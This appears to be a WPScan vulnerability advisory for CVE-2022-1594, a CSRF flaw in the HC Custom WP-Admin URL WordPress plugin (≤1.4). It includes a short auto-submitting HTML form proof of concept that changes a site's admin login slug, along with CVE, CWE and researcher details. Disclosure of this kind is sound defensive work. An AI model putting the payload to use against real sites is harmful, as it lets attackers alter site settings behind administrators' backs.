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HC Custom WP-Admin URL <= 1.4 - Arbitrary Settings Update via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack, allowing them to change the login URL

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-permalink.php" method="POST">
    <input type="text" name="custom_wpadmin_slug" value="secret">
</form>
<script>
    document.getElementById("test").submit();
</script> 

Affects Plugins

hc-custom-wp-admin-url
No known fix - plugin closed

References

CVE
CVE-2022-1594

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website
https://daniel-ruf.de
Verified

Yes

WPVDB ID
bb0efc5e-044b-47dc-9101-9aae40cdbaa5

Timeline

Publicly Published

2022-05-18 (about 3 months ago)

Added

2022-05-18 (about 3 months ago)

Last Updated

2022-05-18 (about 3 months ago)

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